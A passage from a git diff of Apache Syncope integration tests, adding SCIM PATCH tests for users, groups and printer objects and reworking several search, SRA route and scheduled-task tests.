"\"schemas\":[\"urn:ietf:params:scim:api:messages:2.0:PatchOp\"]," + + "\"Operations\":[" + + "{" + + "\"op\":\"Replace\"," + + "\"path\":\"name.familyName\"," + + "\"value\":\"newSurname\"" + + "}," + + "{" + + "\"op\":\"remove\"," + + "\"path\":\"nickName\"" + + "}" + + "]" + + "}"; + response = webClient().path("Users").path(user.getId()).invoke(HttpMethod.PATCH, body); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + + user = response.readEntity(SCIMUser.class); + assertEquals("newSurname", user.getName().getFamilyName()); + assertNull(user.getNickName()); + + // 4. update with path, replace complex value + String newMail = UUID.randomUUID().toString() + "@syncope.apache.org"; + assertNotEquals( + newMail, + user.getEmails().stream().filter(v -> "work".equals(v.getType())).findFirst().get().getValue()); + body = + "{" + + " \"schemas\": [\"urn:ietf:params:scim:api:messages:2.0:PatchOp\"]," + + " \"Operations\": [{" + + " \"op\":\"replace\"," + + " \"path\":\"emails[type eq \\\"work\\\"]\"," + + " \"value\":" + + " {" + + " \"type\": \"work\"," + + " \"value\": \"" + newMail + "\"," + + " \"primary\": true" + + " }" + + " }]" + + " }"; + response = webClient().path("Users").path(user.getId()).invoke(HttpMethod.PATCH, body); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + + user = response.readEntity(SCIMUser.class); + assertEquals( + newMail, + user.getEmails().stream().filter(v -> "work".equals(v.getType())).findFirst().get().getValue()); + + // 5. update with path, filter and sub + newMail = "verycomplex" + UUID.randomUUID().toString() + "@syncope.apache.org"; + body = + "{" + + " \"schemas\": [\"urn:ietf:params:scim:api:messages:2.0:PatchOp\"]," + + " \"Operations\": [{" + + " \"op\":\"replace\"," + + " \"path\":\"emails[type eq \\\"work\\\"].value\"," + + " \"value\":\"" + newMail + "\"" + + " }]" + + " }"; + response = webClient().path("Users").path(user.getId()).invoke(HttpMethod.PATCH, body); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + + user = response.readEntity(SCIMUser.class); + assertEquals( + newMail, + user.getEmails().stream().filter(v -> "work".equals(v.getType())).findFirst().get().getValue()); + + // 6. remove with path and filter + body = + "{" + + " \"schemas\": [\"urn:ietf:params:scim:api:messages:2.0:PatchOp\"]," + + " \"Operations\": [{" + + " \"op\":\"remove\"," + + " \"path\":\"emails[type eq \\\"home\\\"]\"" + + " }]" + + " }"; + response = webClient().path("Users").path(user.getId()).invoke(HttpMethod.PATCH, body); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + + user = response.readEntity(SCIMUser.class); + assertTrue(user.getEmails().stream().noneMatch(v -> "home".equals(v.getType()))); + + // 7. update with path, update password + body = + "{" + + "\"schemas\":[\"urn:ietf:params:scim:api:messages:2.0:PatchOp\"]," + + "\"Operations\":[{" + + "\"op\":\"replace\"," + + "\"path\":\"password\"," + + "\"value\":\"Password123!\"" + + "}]" + + "}"; + response = webClient().path("Users").path(user.getId()) + .header(RESTHeaders.PREFER, Preference.RETURN_NO_CONTENT) + .invoke(HttpMethod.PATCH, body); + assertEquals(Response.Status.NO_CONTENT.getStatusCode(), response.getStatus()); + assertFalse(response.hasEntity()); + } + @Test public void replaceUser() { SCIM_CONF_SERVICE.set(CONF); - SCIMUser user = getSampleUser(UUID.randomUUID().toString()); + SCIMUser user = getSampleUser(UUID.randomUUID().toString(), List.of(Resource.User.schema())); Response response = webClient().path("Users").post(user); assertEquals(Response.Status.CREATED.getStatusCode(), response.getStatus()); @@ -393,6 +820,12 @@ public void replaceUser() { user = response.readEntity(SCIMUser.class); assertNotNull(user.getId()); + UserTO userTO = USER_SERVICE.read(user.getId()); + assertNotNull(userTO); + USER_SERVICE.update(new UserUR.Builder(userTO.getKey()).resource( + new StringPatchItem.Builder().value(RESOURCE_NAME_LDAP).operation(PatchOperation.ADD_REPLACE).build()) + .build()); + user.getName().setFormatted("new" + user.getUserName()); response = webClient().path("Users").path(user.getId()).put(user); @@ -400,13 +833,17 @@ public void replaceUser() { user = response.readEntity(SCIMUser.class); assertTrue(user.getName().getFormatted().startsWith("new")); + + userTO = USER_SERVICE.read(user.getId()); + assertNotNull(userTO); + assertTrue(userTO.getResources().contains(RESOURCE_NAME_LDAP)); } @Test public void deleteUser() { SCIM_CONF_SERVICE.set(CONF); - SCIMUser user = getSampleUser(UUID.randomUUID().toString()); + SCIMUser user = getSampleUser(UUID.randomUUID().toString(), List.of(Resource.User.schema())); Response response = webClient().path("Users").post(user); assertEquals(Response.Status.CREATED.getStatusCode(), response.getStatus()); @@ -428,7 +865,7 @@ public void deleteUser() { public void createGroup() { String displayName = UUID.randomUUID().toString(); - SCIMGroup group = new SCIMGroup(null, null, displayName); + SCIMGroup group = new SCIMGroup(null, List.of(Resource.Group.schema()), null, displayName); group.getMembers().add(new Member("1417acbe-cbf6-4277-9372-e75e04f97000", null, null)); assertNull(group.getId()); assertEquals(displayName, group.getDisplayName()); @@ -456,9 +893,149 @@ public void createGroup() { assertEquals(ErrorType.uniqueness, error.getScimType()); } + @Test + void crudExtensionGroup() { + SCIMExtensionAnyConf extensionGroupConf = new SCIMExtensionAnyConf(); + extensionGroupConf.setName("syncope"); + extensionGroupConf.setDescription("syncope group"); + SCIMItem scimItemGroup = new SCIMItem(); + scimItemGroup.setIntAttrName("originalName"); + scimItemGroup.setExtAttrName("originalName"); + scimItemGroup.setUniqueness(true); + extensionGroupConf.add(scimItemGroup); + CONF.setExtensionGroupConf(extensionGroupConf); + SCIM_CONF_SERVICE.set(CONF); + + SCIMGroup group = getSampleGroup( + UUID.randomUUID().toString(), List.of(Resource.Group.schema(), Resource.ExtensionGroup.schema())); + SCIMExtensionInfo scimExtensionInfo = new SCIMExtensionInfo(); + scimExtensionInfo.getAttributes().put("originalName", "originalName"); + group.setExtensionInfo(scimExtensionInfo); + + Response response = webClient().path("Groups").post(group); + assertEquals(Response.Status.CREATED.getStatusCode(), response.getStatus()); + + group = response.readEntity(SCIMGroup.class); + assertNotNull(group.getId()); + assertTrue(response.getLocation().toASCIIString().endsWith(group.getId())); + + GroupTO groupTO = GROUP_SERVICE.read(group.getId()); + assertEquals(group.getDisplayName(), groupTO.getName()); + assertEquals(group.getExtensionInfo().getAttributes().get("originalName"), + groupTO.getPlainAttr("originalName").get().getValues().get(0)); + + response = webClient().path("Groups").path(group.getId()).delete(); + assertEquals(Response.Status.NO_CONTENT.getStatusCode(), response.getStatus()); + + response = webClient().path("Groups").path(group.getId()).get(); + assertEquals(Response.Status.NOT_FOUND.getStatusCode(), response.getStatus()); + CONF.setExtensionGroupConf(null); + SCIM_CONF_SERVICE.set(CONF); + } + + @Test + public void updateGroup() { + SCIM_CONF_SERVICE.set(CONF); + + SCIMGroup group = new SCIMGroup(null, List.of(Resource.Group.schema()), null, UUID.randomUUID().toString()); + group.getMembers().add(new Member("74cd8ece-715a-44a4-a736-e17b46c4e7e6", null, null)); + group.getMembers().add(new Member("1417acbe-cbf6-4277-9372-e75e04f97000", null, null)); + Response response = webClient().path("Groups").post(group); + assertEquals(Response.Status.CREATED.getStatusCode(), response.getStatus()); + + group = response.readEntity(SCIMGroup.class); + assertNotNull(group.getId()); + assertNull(group.getExternalId()); + assertEquals(2, group.getMembers().size()); + + // 1. update with path, add value + String body = + "{" + + "\"schemas\":[\"urn:ietf:params:scim:api:messages:2.0:PatchOp\"]," + + "\"Operations\":[{" + + "\"op\":\"Add\"," + + "\"path\":\"externalId\"," + + "\"value\":\"" + group.getId() + "\"" + + "}]" + + "}"; + response = webClient().path("Groups").path(group.getId()).invoke(HttpMethod.PATCH, body); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + + group = response.readEntity(SCIMGroup.class); + assertEquals(group.getId(), group.getExternalId()); + + // 2. add member, remove member, remove attribute + body = + "{" + + "\"schemas\":[\"urn:ietf:params:scim:api:messages:2.0:PatchOp\"]," + + "\"Operations\":[" + + "{" + + "\"op\":\"Add\"," + + "\"path\":\"members\"," + + "\"value\":[{" + + "\"value\":\"b3cbc78d-32e6-4bd4-92e0-bbe07566a2ee\"}]" + + "}," + + "{" + + "\"op\":\"remove\"," + + "\"path\":\"members[value eq \\\"74cd8ece-715a-44a4-a736-e17b46c4e7e6\\\"]\"" + + "}," + + "{" + + "\"op\":\"remove\"," + + "\"path\":\"externalId\"" + + "}" + + "]" + + "}"; + response = webClient().path("Groups").path(group.getId()).invoke(HttpMethod.PATCH, body); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + + group = response.readEntity(SCIMGroup.class); + assertEquals(2, group.getMembers().size()); + assertTrue(group.getMembers().stream(). + anyMatch(m -> "b3cbc78d-32e6-4bd4-92e0-bbe07566a2ee".equals(m.getValue()))); + assertTrue(group.getMembers().stream(). + anyMatch(m -> "1417acbe-cbf6-4277-9372-e75e04f97000".equals(m.getValue()))); + assertNull(group.getExternalId()); + + // 3. remove all members + body = + "{" + + "\"schemas\":[\"urn:ietf:params:scim:api:messages:2.0:PatchOp\"]," + + "\"Operations\":[" + + "{" + + "\"op\":\"remove\"," + + "\"path\":\"members\"" + + "}" + + "]" + + "}"; + response = webClient().path("Groups").path(group.getId()).invoke(HttpMethod.PATCH, body); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + + group = response.readEntity(SCIMGroup.class); + assertTrue(group.getMembers().isEmpty()); + + // 4. add member + body = + "{" + + "\"schemas\":[\"urn:ietf:params:scim:api:messages:2.0:PatchOp\"]," + + "\"Operations\":[" + + "{" + + "\"op\":\"Add\"," + + "\"path\":\"members\"," + + "\"value\":[{" + + "\"value\":\"b3cbc78d-32e6-4bd4-92e0-bbe07566a2ee\"}]" + + "}" + + "]" + + "}"; + response = webClient().path("Groups").path(group.getId()) + .header(RESTHeaders.PREFER, Preference.RETURN_NO_CONTENT) + .invoke(HttpMethod.PATCH, body); + assertEquals(Response.Status.NO_CONTENT.getStatusCode(), response.getStatus()); + assertFalse(response.hasEntity()); + } + @Test public void replaceGroup() { - SCIMGroup group = new SCIMGroup(null, null, UUID.randomUUID().toString()); + SCIMGroup group = new SCIMGroup(null, List.of(Resource.Group.schema()), null, UUID.randomUUID().toString()); group.getMembers().add(new Member("b3cbc78d-32e6-4bd4-92e0-bbe07566a2ee", null, null)); Response response = webClient().path("Groups").post(group); assertEquals(Response.Status.CREATED.getStatusCode(), response.getStatus()); @@ -468,6 +1045,15 @@ public void replaceGroup() { assertEquals(1, group.getMembers().size()); assertEquals("b3cbc78d-32e6-4bd4-92e0-bbe07566a2ee", group.getMembers().get(0).getValue()); + GroupTO groupTO = GROUP_SERVICE.read(group.getId()); + assertNotNull(groupTO); + GROUP_SERVICE.update(new GroupUR.Builder(groupTO.getKey()).resource( + new StringPatchItem.Builder().value(RESOURCE_NAME_LDAP).operation(PatchOperation.ADD_REPLACE).build()) + .build()); + groupTO = GROUP_SERVICE.read(group.getId()); + assertNotNull(groupTO); + assertTrue(groupTO.getResources().contains(RESOURCE_NAME_LDAP)); + group.setDisplayName("other" + group.getId()); group.getMembers().add(new Member("c9b2dec2-00a7-4855-97c0-d854842b4b24", null, null)); @@ -478,6 +1064,10 @@ public void replaceGroup() { assertTrue(group.getDisplayName().startsWith("other")); assertEquals(2, group.getMembers().size()); + groupTO = GROUP_SERVICE.read(group.getId()); + assertNotNull(groupTO); + assertTrue(groupTO.getResources().contains(RESOURCE_NAME_LDAP)); + group.getMembers().clear(); group.getMembers().add(new Member("c9b2dec2-00a7-4855-97c0-d854842b4b24", null, null)); @@ -491,7 +1081,7 @@ public void replaceGroup() { @Test public void deleteGroup() { - SCIMGroup group = new SCIMGroup(null, null, UUID.randomUUID().toString()); + SCIMGroup group = new SCIMGroup(null, List.of(Resource.Group.schema()), null, UUID.randomUUID().toString()); Response response = webClient().path("Groups").post(group); assertEquals(Response.Status.CREATED.getStatusCode(), response.getStatus()); @@ -507,4 +1097,133 @@ public void deleteGroup() { response = webClient().path("Groups").path(group.getId()).get(); assertEquals(Response.Status.NOT_FOUND.getStatusCode(), response.getStatus()); } + + @Test + public void createPrinter() { + SCIM_CONF_SERVICE.set(CONF); + + String displayName = UUID.randomUUID().toString(); + + SCIMAnyObject printer = new SCIMAnyObject( + null, List.of("urn:ietf:params:scim:schemas:extension:syncope:2.0:PRINTER"), null, displayName); + SCIMExtensionInfo scimExtensionInfo = new SCIMExtensionInfo(); + scimExtensionInfo.getAttributes().put("model", "HP Inspire 7224e"); + printer.setExtensionInfo(scimExtensionInfo); + assertNull(printer.getId()); + assertEquals(displayName, printer.getDisplayName()); + + Response response = webClient().path("AnyObjects").post(printer); + assertEquals(Response.Status.CREATED.getStatusCode(), response.getStatus()); + + printer = response.readEntity(SCIMAnyObject.class); + assertNotNull(printer.getId()); + assertTrue(response.getLocation().toASCIIString().endsWith(printer.getId())); + assertEquals(displayName, printer.getDisplayName()); + assertTrue(printer.getExtensionInfo().getAttributes().containsKey("model")); + assertTrue(printer.getExtensionInfo().getAttributes().containsValue("HP Inspire 7224e")); + + response = webClient().path("AnyObjects").post(printer); + assertEquals(Response.Status.CONFLICT.getStatusCode(), response.getStatus()); + + SCIMError error = response.readEntity(SCIMError.class); + assertEquals(Response.Status.CONFLICT.getStatusCode(), error.getStatus()); + assertEquals(ErrorType.uniqueness, error.getScimType()); + } + + @Test + public void updatePrinter() { + SCIM_CONF_SERVICE.set(CONF); + + SCIMAnyObject printer = new SCIMAnyObject( + null, + List.of("urn:ietf:params:scim:schemas:extension:syncope:2.0:PRINTER"), + null, + UUID.randomUUID().toString()); + Response response = webClient().path("AnyObjects").post(printer); + assertEquals(Response.Status.CREATED.getStatusCode(), response.getStatus()); + + printer = response.readEntity(SCIMAnyObject.class); + assertNotNull(printer.getId()); + assertNotNull(printer.getDisplayName()); + + // update with path, add value + String body = + "{" + + "\"schemas\":[\"urn:ietf:params:scim:api:messages:2.0:PatchOp\"]," + + "\"Operations\":[{" + + "\"op\":\"Add\"," + + "\"path\":\"displayName\"," + + "\"value\":\"" + printer.getId() + "\"" + + "}]" + + "}"; + response = webClient().path("AnyObjects").path(printer.getId()).invoke(HttpMethod.PATCH, body); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + + printer = response.readEntity(SCIMAnyObject.class); + assertEquals(printer.getId(), printer.getDisplayName()); + } + + @Test + public void replacePrinter() { + SCIM_CONF_SERVICE.set(CONF); + + SCIMAnyObject printer = new SCIMAnyObject( + null, + List.of("urn:ietf:params:scim:schemas:extension:syncope:2.0:PRINTER"), + null, + UUID.randomUUID().toString()); + SCIMExtensionInfo scimExtensionInfo = new SCIMExtensionInfo(); + scimExtensionInfo.getAttributes().put("location", "1st floor"); + printer.setExtensionInfo(scimExtensionInfo); + Response response = webClient().path("AnyObjects").post(printer); + assertEquals(Response.Status.CREATED.getStatusCode(), response.getStatus()); + + printer = response.readEntity(SCIMAnyObject.class); + assertNotNull(printer.getId()); + + AnyObjectTO anyObjectTO = ANY_OBJECT_SERVICE.read(printer.getId()); + assertNotNull(anyObjectTO); + ANY_OBJECT_SERVICE.update(new AnyObjectUR.Builder(anyObjectTO.getKey()).resource( + new StringPatchItem.Builder().value(RESOURCE_NAME_DBSCRIPTED) + .operation(PatchOperation.ADD_REPLACE).build()) + .build()); + anyObjectTO = ANY_OBJECT_SERVICE.read(printer.getId()); + assertNotNull(anyObjectTO); + assertTrue(anyObjectTO.getResources().contains(RESOURCE_NAME_DBSCRIPTED)); + + printer.setDisplayName("other" + printer.getId()); + + response = webClient().path("AnyObjects").path(printer.getId()).put(printer); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + + printer = response.readEntity(SCIMAnyObject.class); + assertTrue(printer.getDisplayName().startsWith("other")); + + anyObjectTO = ANY_OBJECT_SERVICE.read(printer.getId()); + assertNotNull(anyObjectTO); + assertTrue(anyObjectTO.getResources().contains(RESOURCE_NAME_DBSCRIPTED)); + } + + @Test + public void deletePrinter() { + SCIMAnyObject printer = new SCIMAnyObject( + null, + List.of("urn:ietf:params:scim:schemas:extension:syncope:2.0:PRINTER"), + null, + UUID.randomUUID().toString()); + Response response = webClient().path("AnyObjects").post(printer); + assertEquals(Response.Status.CREATED.getStatusCode(), response.getStatus()); + + printer = response.readEntity(SCIMAnyObject.class); + assertNotNull(printer.getId()); + + response = webClient().path("AnyObjects").path(printer.getId()).get(); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); + + response = webClient().path("AnyObjects").path(printer.getId()).delete(); + assertEquals(Response.Status.NO_CONTENT.getStatusCode(), response.getStatus()); + + response = webClient().path("AnyObjects").path(printer.getId()).get(); + assertEquals(Response.Status.NOT_FOUND.getStatusCode(), response.getStatus()); + } } diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SRARouteITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SRARouteITCase.java index a71dbaaff93..f690aab78bb 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SRARouteITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SRARouteITCase.java @@ -66,7 +66,7 @@ public void findAll() { public void createUpdateDelete() { SRARouteTO route = new SRARouteTO(); route.setName("just for test"); - route.setTarget(URI.create("http://httpbin.org:80")); + route.setTarget(URI.create("http://localhost:80")); route.getPredicates().add(new SRARoutePredicate.Builder(). factory(SRARoutePredicateFactory.METHOD).args(HttpMethod.GET).build()); route.getFilters().add(new SRARouteFilter.Builder(). @@ -114,7 +114,7 @@ public void exceptions() { assertEquals(ClientExceptionType.RequiredValuesMissing, e.getType()); } - route.setTarget(URI.create("http://httpbin.org:80")); + route.setTarget(URI.create("http://localhost:80")); Response response = SRA_ROUTE_SERVICE.create(route); assertEquals(Response.Status.CREATED.getStatusCode(), response.getStatusInfo().getStatusCode()); diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SchedTaskITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SchedTaskITCase.java index 8ed3ff73e4e..8c92cc16e98 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SchedTaskITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SchedTaskITCase.java @@ -55,7 +55,7 @@ public class SchedTaskITCase extends AbstractTaskITCase { @Test public void getJobClasses() { - Set jobClasses = ADMIN_CLIENT.platform(). + Set jobClasses = ANONYMOUS_CLIENT.platform(). getJavaImplInfo(IdRepoImplementationType.TASKJOB_DELEGATE).get().getClasses(); assertNotNull(jobClasses); assertFalse(jobClasses.isEmpty()); diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SearchITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SearchITCase.java index ca2c3654070..a74d6058fd7 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SearchITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/SearchITCase.java @@ -26,16 +26,15 @@ import static org.junit.jupiter.api.Assertions.fail; import java.util.ArrayList; -import java.util.HashSet; import java.util.List; import java.util.Set; import java.util.stream.Collectors; import java.util.stream.Stream; +import javax.ws.rs.NotFoundException; import javax.ws.rs.core.Response; import org.apache.commons.lang3.RandomStringUtils; import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.client.lib.batch.BatchRequest; -import org.apache.syncope.client.ui.commons.ConnIdSpecialName; import org.apache.syncope.common.lib.Attr; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.SyncopeConstants; @@ -43,6 +42,7 @@ import org.apache.syncope.common.lib.request.AnyObjectUR; import org.apache.syncope.common.lib.request.AttrPatch; import org.apache.syncope.common.lib.request.GroupCR; +import org.apache.syncope.common.lib.request.GroupUR; import org.apache.syncope.common.lib.request.MembershipUR; import org.apache.syncope.common.lib.request.UserCR; import org.apache.syncope.common.lib.request.UserUR; @@ -52,10 +52,13 @@ import org.apache.syncope.common.lib.to.MembershipTO; import org.apache.syncope.common.lib.to.PagedConnObjectResult; import org.apache.syncope.common.lib.to.PagedResult; +import org.apache.syncope.common.lib.to.RealmTO; import org.apache.syncope.common.lib.to.RoleTO; +import org.apache.syncope.common.lib.to.TypeExtensionTO; import org.apache.syncope.common.lib.to.UserTO; import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.common.lib.types.ClientExceptionType; +import org.apache.syncope.common.rest.api.RESTHeaders; import org.apache.syncope.common.rest.api.beans.AnyQuery; import org.apache.syncope.common.rest.api.beans.ConnObjectTOQuery; import org.apache.syncope.common.rest.api.service.GroupService; @@ -175,7 +178,7 @@ public void searchByDynGroup() { GroupTO group = createGroup(groupCR).getEntity(); assertNotNull(group); - if (IS_ELASTICSEARCH_ENABLED) { + if (IS_EXT_SEARCH_ENABLED) { try { Thread.sleep(2000); } catch (InterruptedException ex) { @@ -233,7 +236,7 @@ public void searchByDynRole() { role = getObject(response.getLocation(), RoleService.class, RoleTO.class); assertNotNull(role); - if (IS_ELASTICSEARCH_ENABLED) { + if (IS_EXT_SEARCH_ENABLED) { try { Thread.sleep(2000); } catch (InterruptedException ex) { @@ -328,9 +331,7 @@ public void searchByBooleanAnyCond() { @Test public void searchByDate() { - CLIENT_FACTORY.create("bellini", "password").self(); - - if (IS_ELASTICSEARCH_ENABLED) { + if (IS_EXT_SEARCH_ENABLED) { try { Thread.sleep(2000); } catch (InterruptedException ex) { @@ -351,7 +352,7 @@ public void searchByDate() { PagedResult issueSYNCOPE1321 = USER_SERVICE.search(new AnyQuery.Builder(). realm(SyncopeConstants.ROOT_REALM). fiql(SyncopeClient.getUserSearchConditionBuilder(). - is("lastLoginDate").lexicalNotBefore("2016-03-02T15:21:22+0300"). + is("lastLoginDate").lexicalNotBefore("2016-03-02T15:21:22%2B0300"). and("username").equalTo("bellini").query()). build()); assertEquals(users, issueSYNCOPE1321); @@ -442,7 +443,7 @@ public void searchByRelationshipType() { @Test public void searchBySecurityAnswer() { - String securityAnswer = RandomStringUtils.randomAlphanumeric(10); + String securityAnswer = RandomStringUtils.insecure().nextAlphanumeric(10); UserCR userCR = UserITCase.getUniqueSample("securityAnswer@syncope.apache.org"); userCR.setSecurityQuestion("887028ea-66fc-41e7-b397-620d7ea6dfbb"); userCR.setSecurityAnswer(securityAnswer); @@ -461,27 +462,6 @@ public void searchBySecurityAnswer() { } } - @Test - public void assignable() { - PagedResult groups = GROUP_SERVICE.search(new AnyQuery.Builder().realm("/even/two").page(1).size(1000). - fiql(SyncopeClient.getGroupSearchConditionBuilder().isAssignable(). - and("name").equalTo("*").query()). - build()); - assertNotNull(groups); - assertTrue(groups.getResult().stream(). - anyMatch(group -> "034740a9-fa10-453b-af37-dc7897e98fb1".equals(group.getKey()))); - assertFalse(groups.getResult().stream(). - anyMatch(group -> "e7ff94e8-19c9-4f0a-b8b7-28327edbf6ed".equals(group.getKey()))); - - PagedResult anyObjects = ANY_OBJECT_SERVICE.search(new AnyQuery.Builder().realm("/odd"). - fiql(SyncopeClient.getAnyObjectSearchConditionBuilder(PRINTER).isAssignable(). - and("name").equalTo("*").query()). - build()); - assertNotNull(anyObjects); - assertFalse(anyObjects.getResult().stream(). - anyMatch(anyObject -> "9e1d130c-d6a3-48b1-98b3-182477ed0688".equals(anyObject.getKey()))); - } - @Test public void member() { PagedResult groups = GROUP_SERVICE.search(new AnyQuery.Builder().realm("/"). @@ -491,6 +471,25 @@ public void member() { assertTrue(groups.getResult().stream().anyMatch(group -> "root".equals(group.getName()))); assertTrue(groups.getResult().stream().anyMatch(group -> "otherchild".equals(group.getName()))); + + AnyObjectCR anyObjectCR = new AnyObjectCR.Builder(SyncopeConstants.ROOT_REALM, PRINTER, getUUIDString()). + membership(new MembershipTO.Builder("29f96485-729e-4d31-88a1-6fc60e4677f3").build()). + build(); + String printer = createAnyObject(anyObjectCR).getEntity().getKey(); + + if (IS_EXT_SEARCH_ENABLED) { + try { + Thread.sleep(2000); + } catch (InterruptedException ex) { + // ignore + } + } + + groups = GROUP_SERVICE.search(new AnyQuery.Builder().realm("/"). + fiql(SyncopeClient.getGroupSearchConditionBuilder().withMembers(printer).query()). + build()); + assertTrue(groups.getResult().stream(). + anyMatch(group -> "29f96485-729e-4d31-88a1-6fc60e4677f3".equals(group.getKey()))); } @Test @@ -509,35 +508,32 @@ public void orderBy() { @Test public void searchConnObjectsBrowsePagedResult() { List groupKeys = new ArrayList<>(); - for (int i = 0; i < 10; i++) { + for (int i = 0; i < 11; i++) { GroupCR groupCR = GroupITCase.getSample("group"); groupCR.getResources().add(RESOURCE_NAME_LDAP); GroupTO group = createGroup(groupCR).getEntity(); groupKeys.add(group.getKey()); } - int totalRead = 0; - Set read = new HashSet<>(); + ConnObjectTOQuery.Builder builder = new ConnObjectTOQuery.Builder().size(10); + try { - ConnObjectTOQuery.Builder builder = new ConnObjectTOQuery.Builder().size(10); - PagedConnObjectResult matches; - do { + PagedConnObjectResult matches = RESOURCE_SERVICE.searchConnObjects( + RESOURCE_NAME_LDAP, AnyTypeKind.GROUP.name(), builder.build()); + assertNotNull(matches); + + // the test LDAP server sometimes does not return the expected cookie + if (matches.getPagedResultsCookie() != null) { + int firstRound = matches.getResult().size(); + + builder.pagedResultsCookie(matches.getPagedResultsCookie()); matches = RESOURCE_SERVICE.searchConnObjects( RESOURCE_NAME_LDAP, AnyTypeKind.GROUP.name(), builder.build()); assertNotNull(matches); + int secondRound = matches.getResult().size(); - totalRead += matches.getResult().size(); - read.addAll(matches.getResult().stream(). - map(input -> input.getAttr(ConnIdSpecialName.NAME).get().getValues().get(0)). - collect(Collectors.toList())); - - if (matches.getPagedResultsCookie() != null) { - builder.pagedResultsCookie(matches.getPagedResultsCookie()); - } - } while (matches.getPagedResultsCookie() != null); - - assertEquals(totalRead, read.size()); - assertTrue(totalRead >= groupKeys.size()); + assertTrue(firstRound + secondRound >= groupKeys.size()); + } } finally { BatchRequest batchRequest = ADMIN_CLIENT.batch(); GroupService batchGroupService = batchRequest.getService(GroupService.class); @@ -620,6 +616,103 @@ public void searchConnObjectsWithFilter() { anyMatch(connObject -> connObject.getAttr("homePhone").isEmpty())); } + @Test + public void changePwdDate() { + int users = USER_SERVICE.search(new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM). + fiql("status!~suspended;changePwdDate==$null").build()). + getTotalCount(); + assertTrue(users > 0); + } + + @Test + public void userByMembershipAttribute() { + // create type extension for the 'employee' group, if not present + GroupTO employee = GROUP_SERVICE.read("employee"); + if (employee.getTypeExtension(AnyTypeKind.USER.name()).isEmpty()) { + TypeExtensionTO typeExtensionTO = new TypeExtensionTO(); + typeExtensionTO.setAnyType(AnyTypeKind.USER.name()); + typeExtensionTO.getAuxClasses().add("other"); + updateGroup(new GroupUR.Builder(employee.getKey()).typeExtension(typeExtensionTO).build()); + } + + if (IS_EXT_SEARCH_ENABLED) { + try { + Thread.sleep(2000); + } catch (InterruptedException ex) { + // ignore + } + } + + PagedResult matching = USER_SERVICE.search( + new AnyQuery.Builder().fiql(SyncopeClient.getUserSearchConditionBuilder(). + is("ctype").equalTo("additionalctype").query()).build()); + assertEquals(0, matching.getTotalCount()); + matching = USER_SERVICE.search( + new AnyQuery.Builder().fiql(SyncopeClient.getUserSearchConditionBuilder(). + is("ctype").equalTo("myownctype").query()).build()); + assertEquals(0, matching.getTotalCount()); + + // add user membership and its plain attribute + updateUser(new UserUR.Builder(USER_SERVICE.read("puccini").getKey()) + .plainAttr(attrAddReplacePatch("ctype", "myownctype")) + .membership(new MembershipUR.Builder(GROUP_SERVICE.read("additional").getKey()). + plainAttrs(attr("ctype", "additionalctype")).build()) + .membership(new MembershipUR.Builder(employee.getKey()) + .plainAttrs(attr("ctype", "additionalemployeectype")).build()) + .build()); + + if (IS_EXT_SEARCH_ENABLED) { + try { + Thread.sleep(2000); + } catch (InterruptedException ex) { + // ignore + } + } + + matching = USER_SERVICE.search( + new AnyQuery.Builder().fiql(SyncopeClient.getUserSearchConditionBuilder(). + is("ctype").equalTo("additionalctype").query()).build()); + assertEquals(1, matching.getTotalCount()); + assertTrue(matching.getResult().stream().anyMatch(u -> "puccini".equals(u.getUsername()))); + + // check also that search on user plain attribute (not in membership) works + matching = USER_SERVICE.search( + new AnyQuery.Builder().fiql(SyncopeClient.getUserSearchConditionBuilder(). + is("ctype").equalTo("myownctype").query()).build()); + assertEquals(1, matching.getTotalCount()); + assertTrue(matching.getResult().stream().anyMatch(u -> "puccini".equals(u.getUsername()))); + } + + @Test + public void anyObjectByMembershipAttribute() { + PagedResult matching = ANY_OBJECT_SERVICE.search( + new AnyQuery.Builder().fiql(SyncopeClient.getAnyObjectSearchConditionBuilder(PRINTER) + .is("ctype").equalTo("otherchildctype").query()).build()); + assertEquals(0, matching.getTotalCount()); + + // add any object membership and its plain attribute + updateAnyObject(new AnyObjectUR.Builder("8559d14d-58c2-46eb-a2d4-a7d35161e8f8"). + membership(new MembershipUR.Builder(GROUP_SERVICE.read("otherchild").getKey()). + plainAttrs(attr("ctype", "otherchildctype")). + build()).build()); + + if (IS_EXT_SEARCH_ENABLED) { + try { + Thread.sleep(2000); + } catch (InterruptedException ex) { + // ignore + } + } + + matching = ANY_OBJECT_SERVICE.search( + new AnyQuery.Builder().fiql(SyncopeClient.getAnyObjectSearchConditionBuilder(PRINTER) + .is("ctype").equalTo("otherchildctype").query()).build()); + assertEquals(1, matching.getTotalCount()); + + assertTrue(matching.getResult().stream(). + anyMatch(a -> "8559d14d-58c2-46eb-a2d4-a7d35161e8f8".equals(a.getKey()))); + } + @Test public void issueSYNCOPE768() { int usersWithNullable = USER_SERVICE.search(new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM). @@ -671,7 +764,7 @@ public void issueSYNCOPE980() { build(); updateAnyObject(anyObjectUR); - if (IS_ELASTICSEARCH_ENABLED) { + if 